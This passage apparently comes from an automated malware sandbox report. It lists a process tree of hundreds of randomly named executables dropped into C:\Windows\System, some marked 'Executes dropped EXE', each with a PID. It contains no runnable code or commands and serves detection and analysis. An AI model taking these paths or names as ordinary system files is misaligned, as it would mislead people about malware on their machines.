- C:\Windows\System\znnwWxE.exe
  C:\Windows\System\znnwWxE.exe
  2⤵
  - Executes dropped EXE
  PID:1200
- C:\Windows\System\lPlgFLu.exe
  C:\Windows\System\lPlgFLu.exe
  2⤵
  - Executes dropped EXE
  PID:4984
- C:\Windows\System\ppCocZg.exe
  C:\Windows\System\ppCocZg.exe
  2⤵
  - Executes dropped EXE
  PID:5100
- C:\Windows\System\VTXZjAd.exe
  C:\Windows\System\VTXZjAd.exe
  2⤵
  - Executes dropped EXE
  PID:1576
- C:\Windows\System\LSVnKSK.exe
  C:\Windows\System\LSVnKSK.exe
  2⤵
  - Executes dropped EXE
  PID:4376
- C:\Windows\System\NzVhfVL.exe
  C:\Windows\System\NzVhfVL.exe
  2⤵
  - Executes dropped EXE
  PID:3640
- C:\Windows\System\WymVuJx.exe
  C:\Windows\System\WymVuJx.exe
  2⤵
  - Executes dropped EXE
  PID:960
- C:\Windows\System\cTxBNsx.exe
  C:\Windows\System\cTxBNsx.exe
  2⤵
  - Executes dropped EXE
  PID:3268
- C:\Windows\System\JpWbzIS.exe
  C:\Windows\System\JpWbzIS.exe
  2⤵
  - Executes dropped EXE
  PID:2236
- C:\Windows\System\dguTJuW.exe
  C:\Windows\System\dguTJuW.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\IiZtdEz.exe
  C:\Windows\System\IiZtdEz.exe
  2⤵
  - Executes dropped EXE
  PID:4360
- C:\Windows\System\fsDRBBD.exe
  C:\Windows\System\fsDRBBD.exe
  2⤵
  - Executes dropped EXE
  PID:2600
- C:\Windows\System\UcyJwyl.exe
  C:\Windows\System\UcyJwyl.exe
  2⤵
  - Executes dropped EXE
  PID:4116
- C:\Windows\System\sczqtLZ.exe
  C:\Windows\System\sczqtLZ.exe
  2⤵
  - Executes dropped EXE
  PID:544
- C:\Windows\System\IEqQqCN.exe
  C:\Windows\System\IEqQqCN.exe
  2⤵
  - Executes dropped EXE
  PID:4860
- C:\Windows\System\wDfgREb.exe
  C:\Windows\System\wDfgREb.exe
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Windows\System\rrExwbo.exe
  C:\Windows\System\rrExwbo.exe
  2⤵
  - Executes dropped EXE
  PID:2256
- C:\Windows\System\OiJXPZy.exe
  C:\Windows\System\OiJXPZy.exe
  2⤵
  - Executes dropped EXE
  PID:4520
- C:\Windows\System\GGzJKBC.exe
  C:\Windows\System\GGzJKBC.exe
  2⤵
  - Executes dropped EXE
  PID:3616
- C:\Windows\System\qviRrwB.exe
  C:\Windows\System\qviRrwB.exe
  2⤵
  - Executes dropped EXE
  PID:2492
- C:\Windows\System\YkuEgaI.exe
  C:\Windows\System\YkuEgaI.exe
  2⤵
  - Executes dropped EXE
  PID:4196
- C:\Windows\System\vVPJMFZ.exe
  C:\Windows\System\vVPJMFZ.exe
  2⤵
  - Executes dropped EXE
  PID:1288
- C:\Windows\System\owCjjoA.exe
  C:\Windows\System\owCjjoA.exe
  2⤵
  - Executes dropped EXE
  PID:4188
- C:\Windows\System\RchrxJL.exe
  C:\Windows\System\RchrxJL.exe
  2⤵
  - Executes dropped EXE
  PID:2444
- C:\Windows\System\NMlxpJk.exe
  C:\Windows\System\NMlxpJk.exe
  2⤵
  - Executes dropped EXE
  PID:3768
- C:\Windows\System\cjIYsMR.exe
  C:\Windows\System\cjIYsMR.exe
  2⤵
  - Executes dropped EXE
  PID:3760
- C:\Windows\System\ULKWSDm.exe
  C:\Windows\System\ULKWSDm.exe
  2⤵
  - Executes dropped EXE
  PID:3864
- C:\Windows\System\yreYAdN.exe
  C:\Windows\System\yreYAdN.exe
  2⤵
  - Executes dropped EXE
  PID:4612
- C:\Windows\System\CaSkqOe.exe
  C:\Windows\System\CaSkqOe.exe
  2⤵
  - Executes dropped EXE
  PID:3260
- C:\Windows\System\nreoWTD.exe
  C:\Windows\System\nreoWTD.exe
  2⤵
  - Executes dropped EXE
  PID:460
- C:\Windows\System\taGYoFN.exe
  C:\Windows\System\taGYoFN.exe
  2⤵
  - Executes dropped EXE
  PID:3368
- C:\Windows\System\GqZEHBK.exe
  C:\Windows\System\GqZEHBK.exe
  2⤵
  - Executes dropped EXE
  PID:3580
- C:\Windows\System\fjnJbds.exe
  C:\Windows\System\fjnJbds.exe
  2⤵
  - Executes dropped EXE
  PID:4440
- C:\Windows\System\LUvIDUk.exe
  C:\Windows\System\LUvIDUk.exe
  2⤵
  - Executes dropped EXE
  PID:1408
- C:\Windows\System\rSqsWeS.exe
  C:\Windows\System\rSqsWeS.exe
  2⤵
  - Executes dropped EXE
  PID:4132
- C:\Windows\System\ERqMJWE.exe
  C:\Windows\System\ERqMJWE.exe
  2⤵
  - Executes dropped EXE
  PID:3560
- C:\Windows\System\TphVXPS.exe
  C:\Windows\System\TphVXPS.exe
  2⤵
  - Executes dropped EXE
  PID:3668
- C:\Windows\System\yuLKWof.exe
  C:\Windows\System\yuLKWof.exe
  2⤵
  - Executes dropped EXE
  PID:2176
- C:\Windows\System\vWKGxka.exe
  C:\Windows\System\vWKGxka.exe
  2⤵
  - Executes dropped EXE
  PID:2352
- C:\Windows\System\mLSJKxe.exe
  C:\Windows\System\mLSJKxe.exe
  2⤵
  - Executes dropped EXE
  PID:3288
- C:\Windows\System\NVNqTqf.exe
  C:\Windows\System\NVNqTqf.exe
  2⤵
  - Executes dropped EXE
  PID:1192
- C:\Windows\System\OnFvZkb.exe
  C:\Windows\System\OnFvZkb.exe
  2⤵
  - Executes dropped EXE
  PID:4636
- C:\Windows\System\DzGISxS.exe
  C:\Windows\System\DzGISxS.exe
  2⤵
  - Executes dropped EXE
  PID:116
- C:\Windows\System\GHpfwWJ.exe
  C:\Windows\System\GHpfwWJ.exe
  2⤵
  - Executes dropped EXE
  PID:528
- C:\Windows\System\dWRGZFh.exe
  C:\Windows\System\dWRGZFh.exe
  2⤵
  - Executes dropped EXE
  PID:4476
- C:\Windows\System\MFdrlxo.exe
  C:\Windows\System\MFdrlxo.exe
  2⤵
  - Executes dropped EXE
  PID:3804
- C:\Windows\System\RqReqkO.exe
  C:\Windows\System\RqReqkO.exe
  2⤵
  - Executes dropped EXE
  PID:4448
- C:\Windows\System\JpwkpXq.exe
  C:\Windows\System\JpwkpXq.exe
  2⤵
  - Executes dropped EXE
  PID:4468
- C:\Windows\System\gITNXXZ.exe
  C:\Windows\System\gITNXXZ.exe
  2⤵
  - Executes dropped EXE
  PID:3984
- C:\Windows\System\BdUxunb.exe
  C:\Windows\System\BdUxunb.exe
  2⤵
  - Executes dropped EXE
  PID:4648
- C:\Windows\System\naILPfH.exe
  C:\Windows\System\naILPfH.exe
  2⤵
  - Executes dropped EXE
  PID:1376
- C:\Windows\System\qbDRuvJ.exe
  C:\Windows\System\qbDRuvJ.exe
  2⤵
  - Executes dropped EXE
  PID:3604
- C:\Windows\System\bnkoEiE.exe
  C:\Windows\System\bnkoEiE.exe
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Windows\System\aLAoVub.exe
  C:\Windows\System\aLAoVub.exe
  2⤵
  PID:4184
- C:\Windows\System\iynXddh.exe
  C:\Windows\System\iynXddh.exe
  2⤵
  PID:2880
- C:\Windows\System\olvFqvU.exe
  C:\Windows\System\olvFqvU.exe
  2⤵
  PID:3080
- C:\Windows\System\eWqZuvO.exe
  C:\Windows\System\eWqZuvO.exe
  2⤵
  PID:3572
- C:\Windows\System\MzSjYvj.exe
  C:\Windows\System\MzSjYvj.exe
  2⤵
  PID:2188
- C:\Windows\System\FSqHyWW.exe
  C:\Windows\System\FSqHyWW.exe
  2⤵
  PID:380
- C:\Windows\System\SQcuufN.exe
  C:\Windows\System\SQcuufN.exe
  2⤵
  PID:2924
- C:\Windows\System\OYYtEgI.exe
  C:\Windows\System\OYYtEgI.exe
  2⤵
  PID:4080
- C:\Windows\System\xhrVIFN.exe
  C:\Windows\System\xhrVIFN.exe
  2⤵
  PID:1236
- C:\Windows\System\xtvgefm.exe
  C:\Windows\System\xtvgefm.exe
  2⤵
  PID:3280
- C:\Windows\System\cPSHECX.exe
  C:\Windows\System\cPSHECX.exe
  2⤵
  PID:736
- C:\Windows\System\APFHugh.exe
  C:\Windows\System\APFHugh.exe
  2⤵
  PID:3044
- C:\Windows\System\QlbJYAF.exe
  C:\Windows\System\QlbJYAF.exe
  2⤵
  PID:4344
- C:\Windows\System\YQBcgeL.exe
  C:\Windows\System\YQBcgeL.exe
  2⤵
  PID:4620
- C:\Windows\System\jihVrdP.exe
  C:\Windows\System\jihVrdP.exe
  2⤵
  PID:900
- C:\Windows\System\zEsaYeF.exe
  C:\Windows\System\zEsaYeF.exe
  2⤵
  PID:3704
- C:\Windows\System\NocQfHH.exe
  C:\Windows\System\NocQfHH.exe
  2⤵
  PID:3352
- C:\Windows\System\hLqeyrX.exe
  C:\Windows\System\hLqeyrX.exe
  2⤵
  PID:376
- C:\Windows\System\ZAIAPCZ.exe
  C:\Windows\System\ZAIAPCZ.exe
  2⤵
  PID:5132
- C:\Windows\System\yrDVnIR.exe
  C:\Windows\System\yrDVnIR.exe
  2⤵
  PID:5148
- C:\Windows\System\KmUyuhH.exe
  C:\Windows\System\KmUyuhH.exe
  2⤵
  PID:5176
- C:\Windows\System\eCHFRkA.exe
  C:\Windows\System\eCHFRkA.exe
  2⤵
  PID:5208
- C:\Windows\System\nNmkbHF.exe
  C:\Windows\System\nNmkbHF.exe
  2⤵
  PID:5224
- C:\Windows\System\pbfsmJo.exe
  C:\Windows\System\pbfsmJo.exe
  2⤵
  PID:5248
- C:\Windows\System\BtIdmkc.exe
  C:\Windows\System\BtIdmkc.exe
  2⤵
  PID:5272
- C:\Windows\System\YHFWAbM.exe
  C:\Windows\System\YHFWAbM.exe
  2⤵
  PID:5292
- C:\Windows\System\SERWtOo.exe
  C:\Windows\System\SERWtOo.exe
  2⤵
  PID:5328
- C:\Windows\System\sKxZWrN.exe
  C:\Windows\System\sKxZWrN.exe
  2⤵
  PID:5348
- C:\Windows\System\dRymPhF.exe
  C:\Windows\System\dRymPhF.exe
  2⤵
  PID:5364
- C:\Windows\System\FxhaGDh.exe
  C:\Windows\System\FxhaGDh.exe
  2⤵
  PID:5400
- C:\Windows\System\UYyUfyu.exe
  C:\Windows\System\UYyUfyu.exe
  2⤵
  PID:5420
- C:\Windows\System\AZQwrva.exe
  C:\Windows\System\AZQwrva.exe
  2⤵
  PID:5436
- C:\Windows\System\sNPKRRv.exe
  C:\Windows\System\sNPKRRv.exe
  2⤵
  PID:5452
- C:\Windows\System\EPjUWfw.exe
  C:\Windows\System\EPjUWfw.exe
  2⤵
  PID:5492
- C:\Windows\System\GerNzef.exe
  C:\Windows\System\GerNzef.exe
  2⤵
  PID:5524
- C:\Windows\System\lEMndhG.exe
  C:\Windows\System\lEMndhG.exe
  2⤵
  PID:5540
- C:\Windows\System\lZiynvj.exe
  C:\Windows\System\lZiynvj.exe
  2⤵
  PID:5564
- C:\Windows\System\kGxsMFM.exe
  C:\Windows\System\kGxsMFM.exe
  2⤵
  PID:5580
- C:\Windows\System\ARTWlEy.exe
  C:\Windows\System\ARTWlEy.exe
  2⤵
  PID:5616
- C:\Windows\System\wDvifWe.exe
  C:\Windows\System\wDvifWe.exe
  2⤵
  PID:5648
- C:\Windows\System\bVMSWHJ.exe
  C:\Windows\System\bVMSWHJ.exe
  2⤵
  PID:5668
- C:\Windows\System\AZMYJkj.exe
  C:\Windows\System\AZMYJkj.exe
  2⤵
  PID:5688
- C:\Windows\System\Pnpcylq.exe
  C:\Windows\System\Pnpcylq.exe
  2⤵
  PID:5712
- C:\Windows\System\HfywPRH.exe
  C:\Windows\System\HfywPRH.exe
  2⤵
  PID:5740
- C:\Windows\System\YZqAlRt.exe
  C:\Windows\System\YZqAlRt.exe
  2⤵
  PID:5776
- C:\Windows\System\MtKjmfr.exe
  C:\Windows\System\MtKjmfr.exe
  2⤵
  PID:5796
- C:\Windows\System\rePSqCK.exe
  C:\Windows\System\rePSqCK.exe
  2⤵
  PID:5828
- C:\Windows\System\rwGtqMM.exe
  C:\Windows\System\rwGtqMM.exe
  2⤵
  PID:5848
- C:\Windows\System\jcKukIs.exe
  C:\Windows\System\jcKukIs.exe
  2⤵
  PID:5868
- C:\Windows\System\XNqRMah.exe
  C:\Windows\System\XNqRMah.exe
  2⤵
  PID:5900
- C:\Windows\System\tuerfbE.exe
  C:\Windows\System\tuerfbE.exe
  2⤵
  PID:5928
- C:\Windows\System\bkMaNEu.exe
  C:\Windows\System\bkMaNEu.exe
  2⤵
  PID:5948
- C:\Windows\System\OBZjgdL.exe
  C:\Windows\System\OBZjgdL.exe
  2⤵
  PID:5976
- C:\Windows\System\CMcTMMe.exe
  C:\Windows\System\CMcTMMe.exe
  2⤵
  PID:6004
- C:\Windows\System\gAqWSpV.exe
  C:\Windows\System\gAqWSpV.exe
  2⤵
  PID:6024
- C:\Windows\System\XvSrroZ.exe
  C:\Windows\System\XvSrroZ.exe
  2⤵
  PID:6048
- C:\Windows\System\sRjOeWi.exe
  C:\Windows\System\sRjOeWi.exe
  2⤵
  PID:6076
- C:\Windows\System\hOyKVic.exe
  C:\Windows\System\hOyKVic.exe
  2⤵
  PID:6092
- C:\Windows\System\fjYjRPi.exe
  C:\Windows\System\fjYjRPi.exe
  2⤵
  PID:6120
- C:\Windows\System\cSqFkYd.exe
  C:\Windows\System\cSqFkYd.exe
  2⤵
  PID:6140
- C:\Windows\System\WGWrNKo.exe
  C:\Windows\System\WGWrNKo.exe
  2⤵
  PID:664
- C:\Windows\System\dQfvvtg.exe
  C:\Windows\System\dQfvvtg.exe
  2⤵
  PID:4904
- C:\Windows\System\ISHPTPq.exe
  C:\Windows\System\ISHPTPq.exe
  2⤵
  PID:4920
- C:\Windows\System\ihUBnlp.exe
  C:\Windows\System\ihUBnlp.exe
  2⤵
  PID:5076
- C:\Windows\System\IFjOggR.exe
  C:\Windows\System\IFjOggR.exe
  2⤵
  PID:4996
- C:\Windows\System\UMhzTcN.exe
  C:\Windows\System\UMhzTcN.exe
  2⤵
  PID:5192
- C:\Windows\System\HxtuTLJ.exe
  C:\Windows\System\HxtuTLJ.exe
  2⤵
  PID:5220
- C:\Windows\System\nzslrds.exe
  C:\Windows\System\nzslrds.exe
  2⤵
  PID:4212
- C:\Windows\System\lGzuoPk.exe
  C:\Windows\System\lGzuoPk.exe
  2⤵
  PID:4528
- C:\Windows\System\RPtctHY.exe
  C:\Windows\System\RPtctHY.exe
  2⤵
  PID:2980
- C:\Windows\System\juScqOI.exe
  C:\Windows\System\juScqOI.exe
  2⤵
  PID:4228
- C:\Windows\System\qYiXUQl.exe
  C:\Windows\System\qYiXUQl.exe
  2⤵
  PID:5608
- C:\Windows\System\YKHrAKZ.exe
  C:\Windows\System\YKHrAKZ.exe
  2⤵
  PID:5244
- C:\Windows\System\AgHhlzP.exe
  C:\Windows\System\AgHhlzP.exe
  2⤵
  PID:3996
- C:\Windows\System\xttgPcC.exe
  C:\Windows\System\xttgPcC.exe
  2⤵
  PID:5448
- C:\Windows\System\neFziAj.exe
  C:\Windows\System\neFziAj.exe
  2⤵
  PID:3304
- C:\Windows\System\XRuESkb.exe
  C:\Windows\System\XRuESkb.exe
  2⤵
  PID:5960
- C:\Windows\System\EHOPrkT.exe
  C:\Windows\System\EHOPrkT.exe
  2⤵
  PID:2016
- C:\Windows\System\HIpAqwC.exe
  C:\Windows\System\HIpAqwC.exe
  2⤵
  PID:5164
- C:\Windows\System\rzsSxUH.exe
  C:\Windows\System\rzsSxUH.exe
  2⤵
  PID:5656
- C:\Windows\System\OQemaDU.exe
  C:\Windows\System\OQemaDU.exe
  2⤵
  PID:6136
- C:\Windows\System\DsagcZU.exe
  C:\Windows\System\DsagcZU.exe
  2⤵
  PID:6156
- C:\Windows\System\OSQJbfv.exe
  C:\Windows\System\OSQJbfv.exe
  2⤵
  PID:6184
- C:\Windows\System\YAKjbRs.exe
  C:\Windows\System\YAKjbRs.exe
  2⤵
  PID:6204
- C:\Windows\System\PQmjWsb.exe
  C:\Windows\System\PQmjWsb.exe
  2⤵
  PID:6228
- C:\Windows\System\SBEaMmN.exe
  C:\Windows\System\SBEaMmN.exe
  2⤵
  PID:6256
- C:\Windows\System\lxMbVLU.exe
  C:\Windows\System\lxMbVLU.exe
  2⤵
  PID:6272
- C:\Windows\System\sLwAKUJ.exe
  C:\Windows\System\sLwAKUJ.exe
  2⤵
  PID:6296
- C:\Windows\System\UhLljqh.exe
  C:\Windows\System\UhLljqh.exe
  2⤵
  PID:6316
- C:\Windows\System\QsJGsHS.exe
  C:\Windows\System\QsJGsHS.exe
  2⤵
  PID:6336
- C:\Windows\System\gDfHqTo.exe
  C:\Windows\System\gDfHqTo.exe
  2⤵
  PID:6360
- C:\Windows\System\cgtZSdX.exe
  C:\Windows\System\cgtZSdX.exe
  2⤵
  PID:6400
- C:\Windows\System\YRJAxcL.exe
  C:\Windows\System\YRJAxcL.exe
  2⤵
  PID:6436
- C:\Windows\System\SyuOGiY.exe
  C:\Windows\System\SyuOGiY.exe
  2⤵
  PID:6464
- C:\Windows\System\jAxcSEg.exe
  C:\Windows\System\jAxcSEg.exe
  2⤵
  PID:6480
- C:\Windows\System\TcpKewm.exe
  C:\Windows\System\TcpKewm.exe
  2⤵
  PID:6504
- C:\Windows\System\DdJiaDF.exe
  C:\Windows\System\DdJiaDF.exe
  2⤵
  PID:6520
- C:\Windows\System\IbEDSCm.exe
  C:\Windows\System\IbEDSCm.exe
  2⤵
  PID:6548
- C:\Windows\System\Pgiofah.exe
  C:\Windows\System\Pgiofah.exe
  2⤵
  PID:6572
- C:\Windows\System\juSNdWs.exe
  C:\Windows\System\juSNdWs.exe
  2⤵
  PID:6604
- C:\Windows\System\LxhfQVH.exe
  C:\Windows\System\LxhfQVH.exe
  2⤵
  PID:6624
- C:\Windows\System\xZOXBhW.exe
  C:\Windows\System\xZOXBhW.exe
  2⤵
  PID:6648
- C:\Windows\System\EmOoJHz.exe
  C:\Windows\System\EmOoJHz.exe
  2⤵
  PID:6676
- C:\Windows\System\lmxniOt.exe
  C:\Windows\System\lmxniOt.exe
  2⤵
  PID:6692
- C:\Windows\System\YFVUSFA.exe
  C:\Windows\System\YFVUSFA.exe
  2⤵
  PID:6712
- C:\Windows\System\ztdCwFU.exe
  C:\Windows\System\ztdCwFU.exe
  2⤵
  PID:6736
- C:\Windows\System\YNOezfA.exe
  C:\Windows\System\YNOezfA.exe
  2⤵
  PID:6756
- C:\Windows\System\UGcLDhf.exe
  C:\Windows\System\UGcLDhf.exe
  2⤵
  PID:6772
- C:\Windows\System\dgpaets.exe
  C:\Windows\System\dgpaets.exe
  2⤵
  PID:6792
- C:\Windows\System\fTlfNmF.exe
  C:\Windows\System\fTlfNmF.exe
  2⤵
  PID:6816
- C:\Windows\System\vqXcjzq.exe
  C:\Windows\System\vqXcjzq.exe
  2⤵
  PID:6852
- C:\Windows\System\XXMmLQl.exe
  C:\Windows\System\XXMmLQl.exe
  2⤵
  PID:7000
- C:\Windows\System\NKzTFWF.exe
  C:\Windows\System\NKzTFWF.exe
  2⤵
  PID:7016
- C:\Windows\System\DlGHBHP.exe
  C:\Windows\System\DlGHBHP.exe
  2⤵
  PID:7036
- C:\Windows\System\QHWbFgM.exe
  C:\Windows\System\QHWbFgM.exe
  2⤵
  PID:7052
- C:\Windows\System\qeXCyXm.exe
  C:\Windows\System\qeXCyXm.exe
  2⤵
  PID:7068
- C:\Windows\System\zkKJwli.exe
  C:\Windows\System\zkKJwli.exe
  2⤵
  PID:7084
- C:\Windows\System\LpcOxEI.exe
  C:\Windows\System\LpcOxEI.exe
  2⤵
  PID:7100
- C:\Windows\System\AstRnaG.exe
  C:\Windows\System\AstRnaG.exe
  2⤵
  PID:7116
- C:\Windows\System\VijfeSk.exe
  C:\Windows\System\VijfeSk.exe
  2⤵
  PID:7132
- C:\Windows\System\uUTNilR.exe
  C:\Windows\System\uUTNilR.exe
  2⤵
  PID:7148
- C:\Windows\System\oXsARIW.exe
  C:\Windows\System\oXsARIW.exe
  2⤵
  PID:7164
- C:\Windows\System\ZTplnRZ.exe
  C:\Windows\System\ZTplnRZ.exe
  2⤵
  PID:5836
- C:\Windows\System\mbflBWt.exe
  C:\Windows\System\mbflBWt.exe
  2⤵
  PID:6000
- C:\Windows\System\fJcUatv.exe
  C:\Windows\System\fJcUatv.exe
  2⤵
  PID:6148
- C:\Windows\System\cZmwHNe.exe
  C:\Windows\System\cZmwHNe.exe
  2⤵
  PID:5788
- C:\Windows\System\AXhFgFR.exe
  C:\Windows\System\AXhFgFR.exe
  2⤵
  PID:5896
- C:\Windows\System\JAcokTR.exe
  C:\Windows\System\JAcokTR.exe
  2⤵
  PID:5944
- C:\Windows\System\UzJxnRP.exe
  C:\Windows\System\UzJxnRP.exe
  2⤵
  PID:6012
- C:\Windows\System\Omaliah.exe
  C:\Windows\System\Omaliah.exe
  2⤵
  PID:6056
- C:\Windows\System\OWBcGPA.exe
  C:\Windows\System\OWBcGPA.exe
  2⤵
  PID:3860
- C:\Windows\System\FXSdxJT.exe
  C:\Windows\System\FXSdxJT.exe
  2⤵
  PID:5124
- C:\Windows\System\PLMkijE.exe
  C:\Windows\System\PLMkijE.exe
  2⤵
  PID:2512
- C:\Windows\System\wnKxkWn.exe
  C:\Windows\System\wnKxkWn.exe
  2⤵
  PID:5144
- C:\Windows\System\uCfaSOz.exe
  C:\Windows\System\uCfaSOz.exe
  2⤵
  PID:6088
- C:\Windows\System\qJlbtPZ.exe
  C:\Windows\System\qJlbtPZ.exe
  2⤵
  PID:6164
- C:\Windows\System\smhZMsm.exe
  C:\Windows\System\smhZMsm.exe
  2⤵
  PID:6236
- C:\Windows\System\eFbJhqj.exe
  C:\Windows\System\eFbJhqj.exe
  2⤵
  PID:6288
- C:\Windows\System\drgbVEY.exe
  C:\Windows\System\drgbVEY.exe
  2⤵
  PID:6368
- C:\Windows\System\LxbKFNt.exe
  C:\Windows\System\LxbKFNt.exe
  2⤵
  PID:6448
- C:\Windows\System\ieCdBTw.exe
  C:\Windows\System\ieCdBTw.exe
  2⤵
  PID:6612
- C:\Windows\System\WtWDyfz.exe
  C:\Windows\System\WtWDyfz.exe
  2⤵
  PID:6328
- C:\Windows\System\oGkUBTR.exe
  C:\Windows\System\oGkUBTR.exe
  2⤵
  PID:6452
- C:\Windows\System\bsgpfWX.exe
  C:\Windows\System\bsgpfWX.exe
  2⤵
  PID:6540
- C:\Windows\System\hfDBofW.exe
  C:\Windows\System\hfDBofW.exe
  2⤵
  PID:6640
- C:\Windows\System\YrDtjyL.exe
  C:\Windows\System\YrDtjyL.exe
  2⤵
  PID:6708
- C:\Windows\System\KOUgcsV.exe
  C:\Windows\System\KOUgcsV.exe
  2⤵
  PID:6768
- C:\Windows\System\wooJWXA.exe
  C:\Windows\System\wooJWXA.exe
  2⤵
  PID:6848
- C:\Windows\System\LUxOztx.exe
  C:\Windows\System\LUxOztx.exe
  2⤵
  PID:7184
- C:\Windows\System\cLAnfUb.exe
  C:\Windows\System\cLAnfUb.exe
  2⤵
  PID:7200
- C:\Windows\System\UcwCKYU.exe
  C:\Windows\System\UcwCKYU.exe
  2⤵
  PID:7216
- C:\Windows\System\QgBLImh.exe
  C:\Windows\System\QgBLImh.exe
  2⤵
  PID:7236
- C:\Windows\System\tUYYsZS.exe
  C:\Windows\System\tUYYsZS.exe
  2⤵
  PID:7256
- C:\Windows\System\jhJBFxf.exe
  C:\Windows\System\jhJBFxf.exe
  2⤵
  PID:7276
- C:\Windows\System\WTjpFvi.exe
  C:\Windows\System\WTjpFvi.exe
  2⤵
  PID:7296
- C:\Windows\System\YpXNXnO.exe
  C:\Windows\System\YpXNXnO.exe
  2⤵
  PID:7316
- C:\Windows\System\OywIcaH.exe
  C:\Windows\System\OywIcaH.exe
  2⤵
  PID:7332
- C:\Windows\System\sbOXaOM.exe
  C:\Windows\System\sbOXaOM.exe
  2⤵
  PID:7352
- C:\Windows\System\rHHkxMf.exe
  C:\Windows\System\rHHkxMf.exe
  2⤵
  PID:7376
- C:\Windows\System\JbQqkHV.exe
  C:\Windows\System\JbQqkHV.exe
  2⤵
  PID:7564
- C:\Windows\System\PcfXTZs.exe
  C:\Windows\System\PcfXTZs.exe
  2⤵
  PID:7580
- C:\Windows\System\vYusovj.exe
  C:\Windows\System\vYusovj.exe
  2⤵
  PID:7596
- C:\Windows\System\nMuWtRK.exe
  C:\Windows\System\nMuWtRK.exe
  2⤵
  PID:7612
- C:\Windows\System\uITHsYr.exe
  C:\Windows\System\uITHsYr.exe
  2⤵
  PID:7628
- C:\Windows\System\MucaeqC.exe
  C:\Windows\System\MucaeqC.exe
  2⤵
  PID:7652
- C:\Windows\System\xnuGWOp.exe
  C:\Windows\System\xnuGWOp.exe
  2⤵
  PID:7672
- C:\Windows\System\BOROprQ.exe
  C:\Windows\System\BOROprQ.exe
  2⤵
  PID:7688
- C:\Windows\System\TVkWSkG.exe
  C:\Windows\System\TVkWSkG.exe
  2⤵
  PID:7708
- C:\Windows\System\ThIGJbz.exe
  C:\Windows\System\ThIGJbz.exe
  2⤵
  PID:7724
- C:\Windows\System\hyQipif.exe
  C:\Windows\System\hyQipif.exe
  2⤵
  PID:7748
- C:\Windows\System\ZwfmplZ.exe
  C:\Windows\System\ZwfmplZ.exe
  2⤵
  PID:7768
- C:\Windows\System\jDAbuXs.exe
  C:\Windows\System\jDAbuXs.exe
  2⤵
  PID:7788
- C:\Windows\System\ZXhyYDa.exe
  C:\Windows\System\ZXhyYDa.exe
  2⤵
  PID:7808
- C:\Windows\System\MhaXzFj.exe
  C:\Windows\System\MhaXzFj.exe
  2⤵
  PID:7824
- C:\Windows\System\poxKsBR.exe
  C:\Windows\System\poxKsBR.exe
  2⤵
  PID:7848
- C:\Windows\System\TwbqqTp.exe
  C:\Windows\System\TwbqqTp.exe
  2⤵
  PID:7864
- C:\Windows\System\tvTPVRj.exe
  C:\Windows\System\tvTPVRj.exe
  2⤵
  PID:7892
- C:\Windows\System\GbUjbgj.exe
  C:\Windows\System\GbUjbgj.exe
  2⤵
  PID:7928
- C:\Windows\System\iNnxtEG.exe
  C:\Windows\System\iNnxtEG.exe
  2⤵
  PID:7952
- C:\Windows\System\mYsWnsS.exe
  C:\Windows\System\mYsWnsS.exe
  2⤵
  PID:7992
- C:\Windows\System\PEMJWwk.exe
  C:\Windows\System\PEMJWwk.exe
  2⤵
  PID:8028
- C:\Windows\System\WIXZida.exe
  C:\Windows\System\WIXZida.exe
  2⤵
  PID:8056
- C:\Windows\System\KnDcgro.exe
  C:\Windows\System\KnDcgro.exe
  2⤵
  PID:8080
- C:\Windows\System\yuxkiQB.exe
  C:\Windows\System\yuxkiQB.exe
  2⤵
  PID:8100
- C:\Windows\System\BLGVPRw.exe
  C:\Windows\System\BLGVPRw.exe
  2⤵
  PID:8116
- C:\Windows\System\jSfbIYe.exe
  C:\Windows\System\jSfbIYe.exe
  2⤵
  PID:8136
- C:\Windows\System\nnrEHPP.exe
  C:\Windows\System\nnrEHPP.exe
  2⤵
  PID:8152
- C:\Windows\System\eUaiZoe.exe
  C:\Windows\System\eUaiZoe.exe
  2⤵
  PID:6840
- C:\Windows\System\zAfnQzM.exe
  C:\Windows\System\zAfnQzM.exe
  2⤵
  PID:6764
- C:\Windows\System\tRXkmyA.exe
  C:\Windows\System\tRXkmyA.exe
  2⤵
  PID:7196
- C:\Windows\System\tUeXhjA.exe
  C:\Windows\System\tUeXhjA.exe
  2⤵
  PID:7228
- C:\Windows\System\Xtlxiwf.exe
  C:\Windows\System\Xtlxiwf.exe
  2⤵
  PID:7264
- C:\Windows\System\xjSUWKK.exe
  C:\Windows\System\xjSUWKK.exe
  2⤵
  PID:716
- C:\Windows\System\TaJRXfD.exe
  C:\Windows\System\TaJRXfD.exe
  2⤵
  PID:6556
- C:\Windows\System\MRpNbCr.exe
  C:\Windows\System\MRpNbCr.exe
  2⤵
  PID:7360
- C:\Windows\System\aSFtCuW.exe
  C:\Windows\System\aSFtCuW.exe
  2⤵
  PID:8208
- C:\Windows\System\jUJcZCa.exe
  C:\Windows\System\jUJcZCa.exe
  2⤵
  PID:8232
- C:\Windows\System\kXxezRa.exe
  C:\Windows\System\kXxezRa.exe
  2⤵
  PID:8260
- C:\Windows\System\SSLUOvD.exe
  C:\Windows\System\SSLUOvD.exe
  2⤵
  PID:8280
- C:\Windows\System\RDMZkNQ.exe
  C:\Windows\System\RDMZkNQ.exe
  2⤵
  PID:8304
- C:\Windows\System\ZyWQbfr.exe
  C:\Windows\System\ZyWQbfr.exe
  2⤵
  PID:8328
- C:\Windows\System\ErsuHsG.exe
  C:\Windows\System\ErsuHsG.exe
  2⤵
  PID:8352
- C:\Windows\System\SbMYgfk.exe
  C:\Windows\System\SbMYgfk.exe
  2⤵
  PID:8408
- C:\Windows\System\haxhdLU.exe
  C:\Windows\System\haxhdLU.exe
  2⤵
  PID:8428
- C:\Windows\System\ccrkOCv.exe
  C:\Windows\System\ccrkOCv.exe
  2⤵
  PID:8452
- C:\Windows\System\hGkiEsf.exe
  C:\Windows\System\hGkiEsf.exe
  2⤵
  PID:8476
- C:\Windows\System\Sqaccsm.exe
  C:\Windows\System\Sqaccsm.exe
  2⤵
  PID:8500
- C:\Windows\System\epZdOLO.exe
  C:\Windows\System\epZdOLO.exe
  2⤵
  PID:8516
- C:\Windows\System\iqyHPUk.exe
  C:\Windows\System\iqyHPUk.exe
  2⤵
  PID:8540
- C:\Windows\System\BXcgBiV.exe
  C:\Windows\System\BXcgBiV.exe
  2⤵
  PID:8564
- C:\Windows\System\KytBDzx.exe
  C:\Windows\System\KytBDzx.exe
  2⤵
  PID:8588
